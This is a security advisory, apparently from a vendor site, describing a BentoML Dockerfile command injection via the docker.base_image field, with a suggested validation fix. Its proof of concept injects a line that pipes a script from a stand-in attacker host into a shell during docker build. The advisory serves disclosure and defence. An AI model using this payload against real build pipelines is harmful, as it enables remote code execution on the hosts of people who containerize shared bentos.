GHSA-78f9-r8mh-4xm2
HIGHGHSA-78f9-r8mh-4xm2 is a high-severity (CVSS 8.8) vulnerability in bentoml. O3 Security confirms whether GHSA-78f9-r8mh-4xm2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
Real-World Exposure
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Description
The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):
FROM {{ __options__base_image }} AS base-container
__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):
base_image: t.Optional[str] = None
No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.
PoC
Malicious bentofile.yaml:
docker:
base_image: |
python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch
Minimal reproduction of the unsafe interpolation:
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)
Output:
FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container
Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.
Impact
Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.
Suggested fix
Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.
The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:
__options__build_include[*]at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries fromImage.build_include(*file_paths).bento__user,bento__uid_gid,bento__path,bento__home,bento__entrypoint— currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable throughoverride_bento_env.
References
- Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | all versions | 1.4.39 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bentoml to 1.4.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-78f9-r8mh-4xm2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-78f9-r8mh-4xm2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-78f9-r8mh-4xm2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-78f9-r8mh-4xm2 in your dependencies?
O3 detects GHSA-78f9-r8mh-4xm2 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.